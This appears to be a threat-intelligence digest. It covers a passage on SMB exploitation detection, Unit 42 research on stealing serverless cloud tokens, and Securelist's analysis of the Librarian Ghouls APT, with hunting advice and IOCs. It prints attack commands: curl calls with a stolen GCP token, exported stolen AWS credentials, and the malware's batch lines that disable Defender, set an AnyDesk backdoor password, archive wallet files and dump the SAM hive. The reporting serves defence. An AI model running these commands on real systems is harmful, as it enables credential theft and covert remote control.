  • Logic: The patch specifically introduces a check in mrxsmb!SmbCeCreateSrvCall to fail SMB connections if marshalled target information is detected. Prior to the patch, this check was absent. Anomalies in how SMB client connections are initiated or resolved, particularly when involving target names that, after stripping, resolve to localhost or the machine’s own name, could be indicative of attempted exploitation.
  • Potential Query Logic (Conceptual): Search for failed SMB connection attempts (STATUS_INVALID_PARAMETER or similar errors) related to mrxsmb!SmbCeCreateSrvCall if marshalled target info is present, which would indicate a patched system resisting the attack. On unpatched systems, look for successful connections stemming from such malformed but interpreted-as-local target names.

IOC

IPs

192.168.56.3
192.168.56.10
192.168.56.13
192.168.56.14

Domains

ASGARD.LOCAL
srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Original link: synacktiv.com

Serverless Tokens in the Cloud: Exploitation and Detections

Summary

This research delves into the mechanics and critical security implications of serverless authentication across major cloud platforms, highlighting a significant threat vector where attackers target serverless functions to exploit vulnerabilities. The primary goal of these attacks is to obtain and abuse credentials, which can lead to severe consequences such as privilege escalation, establishing malicious persistence, and exfiltrating sensitive data from cloud environments.

Serverless computing, while offering substantial advantages in scalability, cost-efficiency, and simplified infrastructure management, introduces unique security risks. These risks largely stem from developers deploying insecure code and misconfiguring cloud functions, which can expose credential sets assigned to serverless functions. Attackers prioritize these functions due to their potential for vulnerabilities like Remote Code Execution (RCE) or Server-Side Request Forgery (SSRF) attacks, especially when functions are publicly exposed or process external inputs. The compromise of these serverless tokens can grant unauthorized read/write access, posing a direct threat to critical infrastructure and sensitive data. The article emphasizes that these attack vectors are not inherent flaws in the cloud platforms themselves but rather result from insecure application development practices. Effective detection mechanisms, combined with proactive posture management and continuous runtime monitoring, are crucial for mitigating these risks and protecting cloud environments.

Technical Details

Serverless computing platforms like AWS Lambda, Azure Functions, and Google Cloud Run Functions manage the underlying infrastructure, scaling, and maintenance, allowing developers to concentrate solely on application code. These functions execute on an event-driven basis in response to various triggers like HTTP requests or database changes. A core security element and prime target for attackers are the cloud identities associated with these functions, which use authentication tokens for temporary, scoped access to cloud services and resources.

How Serverless Authentication Works Across Major Cloud Platforms: Each major cloud provider implements similar concepts for serverless functions, including support for multiple code languages, the absence of SSH access due to their fully managed architecture, and the use of roles, service accounts, or managed identities to secure resource access.

• AWS Lambda: Utilizes IAM roles for secure access to AWS services. These roles are assigned permissions via IAM policies. The AWS Security Token Service (STS) dynamically generates temporary security credentials at runtime when an IAM role is associated with a Lambda function. These credentials, comprising an access key ID, secret access key, and session token, are loaded into the function’s execution environment as environment variables (e.g., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), providing secure, short-lived access without hard-coded secrets.
• Google Cloud Functions: Authenticate and authorize access using service account tokens. A service account is a specialized non-human Google account tied to a project. Developers can attach either custom service accounts with specific IAM roles or default service accounts. Default service accounts (like the App Engine default service account (<project_id>@appspot.gserviceaccount.com) for first-generation functions or the Default Compute service account (<project_number>-compute@developer.gserviceaccount.com) for second-generation functions) are often granted editor permissions by default in projects without a GCP organization. These tokens are retrieved at runtime from the Instance Metadata Server (IMDS), located at hxxp://metadata.google[.]internal/.
• Azure Functions: Leverage Azure managed identities (system-assigned or user-assigned) for secure authentication to other Azure services, eliminating the need for hard-coded credentials. The authentication process involves the function querying its environment variables (IDENTITY_ENDPOINT and IDENTITY_HEADER) to find the local managed identity endpoint address. It then sends an HTTP GET request to this endpoint with the IDENTITY_HEADER included, prompting Microsoft Entra ID (formerly Azure Active Directory) to issue a temporary OAuth 2.0 token. This token, scoped for the target resource, is then used by the function to interact with Azure resources (e.g., Azure Key Vault, Storage Account), with access validated via role-based access control or resource-specific policies.

Token Exfiltration Attack Vectors: The primary risks involve application developers deploying insecure code to cloud functions, making them vulnerable to exploitation techniques like SSRF and RCE. These vulnerabilities are often present in functions that are publicly exposed or process inputs from external sources.

• Server-Side Request Forgery (SSRF): Attackers can manipulate vulnerable serverless functions to send unauthorized HTTP requests to internal or external resources that they should not have direct access to. This can result in unintended access or exposure of sensitive data, including access tokens, internal database content, or service configurations. In GCP, SSRF can be particularly effective for accessing the IMDS at hxxp://metadata.google[.]internal/ to extract short-lived service account tokens. Once obtained, these tokens allow attackers to impersonate the function and perform unauthorized actions within the IAM role’s permissions.
• Remote Code Execution (RCE): Allows attackers to execute arbitrary code within the function’s execution environment. In AWS Lambda, RCE attacks can expose temporary credentials stored as environment variables (e.g., AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN).

Attack Vector Simulations and Observed TTPs: The article provides simulations demonstrating how attackers extract and misuse serverless tokens:

• Simulation 1: Gaining Direct Access to IMDS from GCP Function
  • TTP: Leveraging insecure code (e.g., a vulnerable SSRF application) to directly access the Instance Metadata Service (IMDS) within Google Cloud Run functions.
  • Technique: HTTP request to the IMDS endpoint: hxxp[://]metadata.google[.]internal/computeMetadata/v1/instance/service-accounts/default/token. This extracts service account access tokens.
  • Observed Commands (Implied from Figures 2 & 4):

    curl -m 70 -X POST https://us-central1-[redacted].cloudfunctions.net/[function_path] -H "Authorization: bearer $(gcloud auth print-identity-token)" -H "Content-type: application/json"
    

    This command would return a JSON object containing the access_token and service_account_email.

  • Post-Exploitation: Using the extracted token to perform unauthorized operations.
    • Observed Command (Figure 5): curl -H "Authorization: Bearer SERVICE_ACCOUNT_ACCESS_TOKEN" "https://storage.googleapis.com/storage/v1/b?project=<>"
    • Impact: If successful, this enables listing and reading bucket contents in GCP, potentially revealing sensitive files like credentials, backups, or internal configurations. If the service account has Editor permissions (common for default Compute Engine service accounts), attackers gain near-full control over the project, allowing them to modify, delete, or create resources across most services, access sensitive data, deploy malicious workloads, escalate privileges, or disrupt services.
• Simulation 2: Using RCE to Retrieve Tokens Stored in AWS Lambda Function Environment Variables
  • TTP: Exploiting an RCE vulnerability to gain access to the Lambda function’s execution environment.
  • Technique: Extracting temporary AWS credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) directly from environment variables within the compromised Lambda function.
  • Observed Commands (Implied from Figure 7):

    export AWS_ACCESS_KEY_ID=<extracted_access_key_id>
    export AWS_SECRET_ACCESS_KEY=<extracted_secret_access_key>
    export AWS_SESSION_TOKEN=<extracted_session_token>
    aws s3 ls
    

  • Impact: This allows the attacker to impersonate the Lambda function’s IAM role and perform any actions permitted by that role, such as listing S3 buckets.
• Simulation 3: Using RCE to Retrieve Tokens From Local Identity Endpoint of an Azure Function
  • TTP: Exploiting an RCE vulnerability to execute commands within the Azure Function environment.
  • Technique: Accessing environment variables IDENTITY_ENDPOINT and IDENTITY_HEADER and then querying the local managed identity endpoint to retrieve the managed identity token. The request to the local identity endpoint typically involves parameters like Resource, api-version, and X-IDENTITY-HEADER.
  • Observed Endpoint (from Figure 8): http://127.0.0.1:41471/msi/token/?resource=https://management.azure.com/&api-version=2019-08-01
  • Impact: Gaining the managed identity token allows the attacker to authenticate to and interact with other Azure services as the compromised function.

Countries

The provided sources do not specify any targeted countries.

Industries

The provided sources do not specify any targeted industries.

Recommendations

To secure serverless tokens and minimize exploitation risks, organizations should implement a combination of proactive measures, robust posture management, and continuous runtime monitoring.

• Principle of Least Privilege: Assign roles with the absolute minimum required permissions for serverless functions. This significantly reduces the potential impact should a token be misused.
• Restrict IMDS Access: For GCP and Azure functions, configure network-level controls and apply request validation mechanisms to restrict access to the Instance Metadata Server (IMDS).
• Input Validation and Sanitization: Implement robust input validation and sanitization practices in application code. This is critical to prevent attackers from using exploitation techniques like SSRF to access sensitive metadata, tokens, cloud APIs, and databases.
• Secure Coding Practices: Application developers must follow secure coding practices to avoid introducing vulnerabilities such as SSRF and RCE into serverless functions.
• Proactive Posture Management: Continuously assess and manage the security posture of serverless environments.
• Runtime Monitoring: Implement and maintain runtime monitoring security practices to detect anomalous activities.

Hunting Methods

Effective detection mechanisms are crucial for identifying token exfiltration in serverless environments, focusing on behavioral anomalies.

Detection Stages:

1. Validating that the identity is attached to a serverless function.
2. Identifying anomalous behavior of the serverless identities.

Step 1: Identifying Serverless Identities

• GCP:
  • Analyze Log Entries: Inspect the serviceAccountDelegationInfo section in logs. This section provides insights into the delegation chain of service accounts.
  • Look for Delegation to Default Serverless Service Accounts: Specifically, identify if a service account delegates its authority to either the Google Cloud Run Service Agent (service-<PROJECT_NUMBER>@serverless-robot-prod.iam.gserviceaccount[.]com) or gcf-admin-robot.iam.gserviceaccount[.]com (service-PROJECT_NUMBER@gcf-admin-robo.iam.gserviceaccount[.]com).
  • Hunting Logic: Profile service accounts that have previously delegated their authority to these default serverless service accounts. This method helps identify even non-default service accounts that are attached to and operating within functions. For example, a log entry showing authenticationInfo.principalEmail (e.g., sa-test@<project_id>.iam.gserviceaccount[.]com) and serviceAccountDelegationInfo.firstPartyPrincipal.principalEmail (e.g., service-<PROJECT_NUMBER>@serverless-robot-prod.iam.gserviceaccount[.]com) indicates serverless identity activity.
• AWS: Identify Lambda identities by their IAM role names.
• Azure: Identify based on managed identities attached to Azure Function Apps.

Step 2: Identifying Unusual Behavior for Serverless Identities Serverless functions are typically designed for automated, scoped tasks, not interactive use. Detection focuses on deviations from this expected behavior:

• User Agent Analysis:
  • Hunting Logic: Analyze the user agent strings of API calls made by serverless identities. Flag API calls where the user agent matches known Command-Line Interface (CLI) tools (e.g., gcloud CLI) or penetration testing frameworks. The presence of such user agents indicates potential exploitation of the environment or service account tokens, as serverless identities should not typically be used interactively via CLIs.
  • Note: This method is not applicable for Azure, as user agent information is not present in Azure logs.
• Source IP Address Correlation with ASN Ranges:
  • Hunting Logic: Correlate the source IP address of a token’s use with the Autonomous System Number (ASN) ranges of known cloud provider IP addresses. If a request from a serverless identity originates from an external IP address that is not associated with the Cloud Service Provider (CSP), it should trigger an alert. This highlights potential unauthorized token usage occurring outside the expected cloud environment.

Palo Alto Networks’ Cortex Cloud product line provides contextual detection of malicious operations detailed in the article, utilizing attack path/flow scenario detections to define and enforce security policies.

IOC

URLs/Endpoints

http://metadata.google.internal/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
https://storage.googleapis.com/storage/v1/b?project=<>
http://127.0.0.1:41471/msi/token/?resource=https://management.azure.com/&api-version=2019-08-01

Service Account Patterns (GCP)

<project_id>@appspot.gserviceaccount.com
<project_number>-compute@developer.gserviceaccount.com
service-<PROJECT_NUMBER>@serverless-robot-prod.iam.gserviceaccount.com
service-PROJECT_NUMBER@gcf-admin-robo.iam.gserviceaccount.com

Environment Variables (Targeted/Extracted)

AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
IDENTITY_ENDPOINT
IDENTITY_HEADER

Original link: https://unit42.paloaltonetworks.com/serverless-authentication-cloud/

Sleep with one eye open: how Librarian Ghouls steal data by night

Summary

Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an Advanced Persistent Threat (APT) group that has demonstrated continuous activity through May 2025, primarily targeting entities within Russia and the Commonwealth of Independent States (CIS). A key characteristic of this threat actor is their strong preference for leveraging legitimate third-party software rather than developing their own custom malicious binaries, a tactic that complicates detection and attribution efforts. The group’s malicious functionality is predominantly implemented through command files and PowerShell scripts. Their campaigns are designed to establish remote access to victim devices, steal sensitive credentials and data, and deploy an XMRig crypto miner for illicit financial gain. Since December 2024, the group has frequently updated their implants, varying configuration files and the legitimate utilities they bundle, indicating an ongoing refinement of their tactics. These tactics now encompass not only data exfiltration but also the sophisticated deployment of remote access tools and the use of phishing sites for email account compromise. The group exhibits traits commonly associated with hacktivist groups.

Technical Details

The Librarian Ghouls APT group’s attack chain is characterized by its heavy reliance on legitimate tools and a multi-stage infection process designed for stealth and persistence.

Initial Infection Vector and Deployment (T1566.001, T1059.001, T1059.003, T1059.004, T1574.001): The initial compromise is typically achieved through targeted phishing emails. These emails are carefully crafted to appear as legitimate communications from recognized organizations and contain password-protected archives with executable files. The password is usually provided within the email body, prompting the victim to open the archive, extract the files, and execute them.

A key malicious implant identified is a self-extracting installer, created with the Smart Install Maker utility for Windows. This installer contains three primary files: data.cab (an archive), installer.config (a configuration file), and runtime.cab (an empty file). The core malicious logic resides in the installer.config file, which uses various registry modification commands to automatically deploy 4t Tray Minimizer. This legitimate window manager is used by the attackers to minimize running applications to the system tray, effectively obscuring their presence on the compromised system.

Once 4t Tray Minimizer is installed, the installer extracts three critical files from data.cab and places them in the C:\Intel directory:

• A legitimate PDF document serving as a decoy: Payment Order # 131.pdf.
• A legitimate curl utility executable: curl.exe.
• An LNK file: AnyDesk\bat.lnk.

Command and Control Communication and Staging (T1071.001, T1105): After unpacking data.cab, the installer generates and executes rezet.cmd. This command file initiates communication with the Command and Control (C2) server downdown[.]ru. From this C2, rezet.cmd downloads six files, originally with JPG extensions, to C:\Intel, renaming their extensions upon download:

• driver.exe: A customized build of rar.exe (WinRAR 3.80 console version). This version has user dialog strings removed, allowing it to execute commands without providing visible output, enhancing stealth.
• blat.exe: The legitimate Blat utility, used by attackers to send stolen data to their controlled email servers via SMTP.
• svchost.exe: The remote access application AnyDesk, which attackers use to remotely control the compromised machine.
• Trays.rar.
• wol.ps1.
• dc.exe: Defender Control, a utility that allows for disabling Windows Defender.

Persistence and Evasion (T1547.001, T1036.003, T1562.001): Following the download, rezet.cmd uses driver.exe with a specified password to extract Trays.rar into C:\Intel and then runs Trays.lnk. This shortcut launches 4t Tray Minimizer in a minimized state, maintaining the attackers’ covert presence.

AnyDesk is then installed on the compromised device, and bat.bat is downloaded from the C2 server to C:\Intel\AnyDesk. Finally, rezet.cmd executes bat.lnk, which was initially extracted from data.cab.

The bat.bat batch file then executes a critical series of malicious actions:

1. Disabling Security Measures (T1562.001):
   • Sets a static password, QWERTY1234566, for AnyDesk, enabling the attackers to establish unattended remote access to the victim’s device.

     echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access
     

   • Disables Windows Defender using dc.exe (Defender Control).

     %SYSTEMDRIVE%\Intel\dc.exe /D
     

2. Power Management Configuration (T1547.001, T1574.002, T1037.004):
   • Runs the powercfg utility six times with different parameters. This is done to prevent the victim’s computer from entering standby or hibernate modes, ensuring it remains active for remote connections.

     powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
     powercfg -change -standby-timeout-ac 0
     powercfg -change -hibernate-timeout-ac 0
     powercfg -h off
     powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
     powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
     

   • Creates a scheduled task named ShutdownAt5AM to shut down the victim’s PC daily at 5 AM. This is assessed as a method to cover tracks, making the user unaware of the hijacking.

     schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00
     

   • Executes the wol.ps1 PowerShell script. This script creates another scheduled task, WakeUpAndLaunchEdge, which launches Microsoft Edge every day at 1 AM. This action is used to wake the victim’s computer, providing the attackers a four-hour window (1 AM to 5 AM) for unauthorized remote access via AnyDesk before the machine automatically shuts down.

     $Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
     $Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"
     $Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
     # Creating task settings
     $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun
     # Registering task in Task Scheduler
     Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force
     

Data Collection and Exfiltration (T1005, T1083, T1560.001, T1041):

• After the PowerShell script execution, bat.bat removes the curl utility, Trays.rar archive, and the AnyDesk installer, as these components are no longer needed.
• The batch file then sets environment variables for Blat, including the email addresses and passwords for attacker-controlled accounts to which stolen data will be sent.
• Attackers proceed to collect various sensitive information from the compromised device:
  • Cryptocurrency wallet credentials and seed phrases.
  • Dumps of the HKLM\SAM and HKLM\SYSTEM registry keys using reg.exe.
• The BAT file uses driver.exe to pack the collected data into two separate password-protected archives. Example commands targeting specific files and patterns related to cryptocurrency and passwords, many of which use Russian character wildcards:

  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*парол*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*карт*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*кошельк*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\wallet.dat /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.doc* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.txt /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*seed*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\keystore.json /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*bitcoin*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*usdt*.* /y
  %SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*ethereum*.* /y
  reg save hklm\sam %SYSTEMDRIVE%\Intel\sam.backup
  reg save hklm\system %SYSTEMDRIVE%\Intel\system.backup
  

• Finally, blat.exe is run to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.

Cryptocurrency Miner Installation (T1496, T1059.003):

• After data exfiltration, bat.bat deletes temporary attack-related files from C:\Intel.
• A cryptocurrency miner is installed on the compromised system. This involves:
  • Creating a bm.json configuration file, which contains the mining pool address and the attackers’ identifier.
  • Downloading install.exe from hxxp://bmapps[.]org/bmcontrol/win64/Install.exe.
  • install.exe checks for the bm.json file and bmcontrol.exe process, terminating the latter if found.
  • It then downloads an archive of mining tools, app-1.4.zip, from hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip.
  • This archive contains _install.exe (a suspected updated installer), bmcontrol.exe (the miner controller), run.exe, stop.cmd, uninstall.cmd, and the XMRig miner.
  • run.exe is added to autorun. This utility checks for a running bmcontrol.exe and launches it if not found.
  • bmcontrol.exe creates master and worker processes. The master process monitors and restarts the worker, passing the JSON configuration.
  • The worker process collects system information (CPU cores, RAM, GPU) to configure the miner and sends this data to the attacker’s server.
  • The XMRig miner, while running, maintains a connection to the mining pool, sending requests every 60 seconds.
• Finally, bat.bat deletes itself from the victim’s device.

Additional Legitimate Software Utilized (T1588.002, T1078, T1003.003, T1021.001, T1059): Beyond the core utilities, Librarian Ghouls also incorporates other legitimate tools for malicious purposes, complicating detection:

• Mipko Personal Monitor: A DLP system used to monitor victims, capable of collecting screenshots and recording keystrokes.
• WebBrowserPassView: A password recovery utility that extracts passwords stored in web browsers, used to steal victim credentials.
• ngrok: A global reverse proxy used by attackers to connect to target machines.
• NirCmd: A utility facilitating various OS tasks without a visible user interface, used to covertly run scripts and executables.

Infrastructure (T1584): The identified implant communicates with Command and Control (C2) servers downdown[.]ru and dragonfires[.]ru. Both domains resolve to the IP address 185.125.51[.]5. A notable characteristic of the attackers’ infrastructure is that several malicious web servers associated with this campaign had directory listing enabled, allowing investigators to inspect files stored on them. Additional phishing domains include users-mail[.]ru and deauthorization[.]online, which hosted phishing pages designed to harvest Mail.ru email service credentials.

Countries

• Russia
• Commonwealth of Independent States (CIS)
• Belarus
• Kazakhstan

The primary targets are strongly indicated to be based in Russia or Russian-speaking, due to phishing emails composed in Russian, Russian filenames in archives, and Russian-language decoy documents.

Industries

• Industrial enterprises
• Engineering schools

IOC

Hashes

d8edd46220059541ff397f74bfd271336dda702c6b1869e8a081c71f595a9e68
2f3d67740bb7587ff70cc7319e9fe5c517c0e55345bf53e01b3019e415ff098b
de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617
785a5b92bb8c9dbf52cfda1b28f0ac7db8ead4ec3a37cfd6470605d945ade40e
c79413ef4088b3a39fe8c7d68d2639cc69f88b10429e59dd0b4177f6b2a92351
53fd5984c4f6551b2c1059835ea9ca6d0342d886ba7034835db2a1dd3f8f5b04
f8c80bbecbfb38f252943ee6beec98edc93cd734ec70ccd2565ab1c4db5f072f
4d590a9640093bbda21597233b400b037278366660ba2c3128795bc85d35be72
1b409644e86559e56add5a65552785750cd36d60745afde448cce7f6f3f09a06
7c4a99382dbbd7b5aaa62af0ccff68aecdde2319560bbfdaf76132b0506ab68a
702bf51811281aad78e6ca767586eba4b4c3a43743f8b8e56bb93bc349cb6090
311ec9208f5fe3f22733fca1e6388ea9c0327be0836c955d2cf6a22317d4bdca
fd58900ea22b38bad2ef3d1b8b74f5c7023b8ca8a5b69f88cfbfe28b2c585baf
e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86
6954eaed33a9d0cf7e298778ec82d31bfbdf40c813c6ac837352ce676793db74
e880a1bb0e7d422b78a54b35b3f53e348ab27425f1c561db120c0411da5c1ce9
c353a708edfd0f77a486af66e407f7b78583394d7b5f994cd8d2e6e263d25968
636d4f1e3dcf0332a815ce3f526a02df3c4ef2890a74521d05d6050917596748
c5eeec72b5e6d0e84ff91dfdcbefbbbf441878780f887febb0caf3cbe882ec72
8bdb8df5677a11348f5787ece3c7c94824b83ab3f31f40e361e600576909b073
2af2841bf925ed1875faadcbb0ef316c641e1dcdb61d1fbf80c3443c2fc9454f
cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286
dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3
977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac
65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415
a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e
6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510
8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15
7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a
01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a
649ee35ad29945e8dd651119248dddfdfe516a1312de5e0bd17fdd0a258c27f
9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f
d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839

Domains

vniir[.]space
vniir[.]nl
hostingforme[.]nl
mail-cheker[.]nl
unifikator[.]ru
outinfo[.]ru
anyhostings[.]ru
center-mail[.]ru
redaction-voenmeh[.]info
acountservices[.]nl
accouts-verification[.]ru
office-email[.]ru
email-office[.]ru
email-informer[.]ru
office-account[.]ru
deauthorization[.]online
anyinfos[.]ru
verifikations[.]ru
claud-mail[.]ru
users-mail[.]ru
detectis[.]ru
supersuit[.]site
downdown[.]ru
dragonfires[.]ru
bmapps[.]org

IP Addresses

185.125.51[.]5

Original link: https://securelist.com/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto/116536/